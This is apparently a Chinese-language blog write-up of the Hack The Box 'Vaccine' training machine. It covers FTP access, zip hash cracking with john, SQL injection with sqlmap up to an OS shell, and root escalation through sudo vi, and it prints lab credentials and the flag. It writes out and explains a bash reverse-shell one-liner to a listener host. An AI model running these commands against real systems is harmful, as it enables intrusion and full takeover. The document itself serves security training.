Hack The Box : Starting Point - Vaccine

攻击机:kali-linux

靶机:Vaccine

---------------------------------------------------------------------------------------------------------------------------------

网络配置:操作与Archetype靶机相同,链接:Hack The Box : Starting Point - Archetype_丶 Chave的博客-CSDN博客

渗透过程

已知目标ip为10.10.10.46,先使用nmap对目标主机进行端口服务扫描。发现开放了21、22、80端口。

用浏览器访问目标主机80端口,发现是一个登录界面,但不知道用户名密码。此时利用在上个靶机得到的ftp账号密码连接目标主机21端口。执行以下命令输入用户名密码连接目标21端口的ftp服务。

ftp 10.10.10.46

利用ls命令,发现一个名为backup.zip的文件,利用get命令下载到本地。

get backup.zip

将backup.zip移动到桌面,尝试解压发现该压缩文件存在密码。则利用john工具尝试进行zip密码破解。 发现成功爆破出backup.zip的密码:741852963

zip2john backup.zip > hash  //用于获得backup.zip的hash文件
john hash

输入密码解压backup.zip发现index.php的后端源码。打开后得到登录的用户名密码分别为:admin/2cb42f8734ea607eefed3b70af13bbd3。该密码字符串加密方式疑似md5,在线网站解密得到明文密码为:qwerty789。利用该账号密码即可成功登录。

随意在搜索框内输入点击搜索,发现url处存在search传参,即有可能存在sql注入。将search传参值修改为单引号,发现出现语法报错。则此处存在sql注入可能性极大。

刷新页面利用BurpSuite抓包,在桌面新建1.txt文件,将数据包复制进1.txt中,在search处加*。利用sqlmap判断此处是否存在sql注入。sqlmap测出存在sql注入。

sqlmap -l 1.txt --level 3 --risk 2

利用命令--is-dba判断是否为高权限。返回True,则利用命令--os-shell尝试拿shell。

发现输入命令后成功获得shell。

sqlmap -l 1.txt --level 3 --risk 2 --is-dba
sqlmap -l 1.txt --level 3 --risk 2 --os-shell

但发现通过sqlmap拿到的shell可执行的命令非常有限,则用nc监听本地8888端口,在sqlmap命令行执行以下命令,可在nc命令行获得一个新shell。

bash -c "bash -i &> /dev/tcp/10.10.14.148/8888 0 > &1"

bash -c 代表用bash来执行一段命令,参数c后面加上一段需要执行的命令

bash -i 代表建立一个交互式的shell

> 这个我们经常见到,例如我们常用 echo “hello world” > hello.txt,这个代表将将字符串写入一个文件

那么&>又代表什么呢?我们先来了解一下shell中的三个文件描述符(file descriptor)。

0是一个文件描述符,表示标准输入(stdin),即在shell中我们输入的字符。

1是一个文件描述符,表示标准输出(stdout),即在shell中系统输出的字符。

2是一个文件描述符,表示标准错误(stderr),即shell中报错输出的字符。

在>前面的&代表文件描述符1和2,也就是标准输出和标准错误信息,这里是把交互式bash中的标准输出信息和报错信息都写入/dev/tcp/10.10.14.148/8888文件中。

这里的/dev/tcp是一个设备文件,并不是一个真正的文本文件。它的作用是建立tcp连接,在这里是与10.10.14.148的8888端口建立连接。

0 > &1 这代表bash中的标准输入信息写入文件管道1(stdout),这里的&的意思与前面的不同,这里&与1是一个整体,&1代表文件描述符1(stdout)。而前面已经通过命令&>将文件管道1(stdout)的数据写入了/dev/tcp,所以这里的文件管道0的数据也会跟随文件管道1写入/dev/tcp。这样就将bash -i中的全部数据传输到了本地监听程序中,也就建立一个shell。

但此时获得的shell为非交互式shell,用以下命令将shell升级为交互式shell。

SHELL=/bin/bash script -q /dev/null

可以在Hack The Box官网看到此靶机无user flag。直接考虑提权。在/var/www/html目录中用cat命令查看dashboard.php文件。找到数据库连接语句,获得疑似postgres用户密码:P@s5w0rd!。

cat /var/www/html/dashboard.php

用以下命令查看当前用户sudo权限。我们发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。

sudo -l

 -l:显示出自己(执行 sudo 的使用者)的权限

vi/vim 是Unix Like系统文书编辑器,其他的文书编辑器则不一定会存在。

基本上 vi/vim 共分为三种模式,分别是命令模式(Command mode),输入模式(Insert mode)和底线命令模式(Last line mode)。

在这里主要用到了命令模式。

命令模式:

用户刚刚启动 vi/vim,便进入了命令模式。

此状态下敲击键盘动作会被Vim识别为命令,而非输入字符。比如我们此时按下i,并不会输入一个字符,i被当作了一个命令。

以下是常用的几个命令:

  • i 切换到输入模式,以输入字符。
  • x 删除当前光标所在处的字符。
  • : 切换到底线命令模式,以在最底一行输入命令。

若想要编辑文本:启动Vim,进入了命令模式,按下i,切换到输入模式。

命令模式只有一些最基本的命令,因此仍要依靠底线命令模式输入更多命令。

首先执行以下命令以root的权限打开vi。

sudo vi /etc/postgresql/11/main/pg_hba.conf

在以root权限运行vi中调用shell即可以root身份打开shell,即可获得root权限。在这里运行vi会重叠,直接输入以下命令回车即可运行。

:!/bin/bash

“:”表示命令模式,在vi/vim的命令模式下“!”加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。这句命令表示以shell命令的方式执行/bin/bash,也就是打开一个交互式终端。

用cat命令查看/root目录下root.txt即可获得flag:dd6e058e814260bc70e9bbdef2715849。

总结与遇到的问题

1、sqlmap拿到的os-shell可执行bash命令再反弹一个shell到本地。这里sqlmap有时能拿shell有时不能,感觉是个bug,也有可能是其他玩家操作导致。

2、以root身份打开的vi的命令模式下调用的shell也是root权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值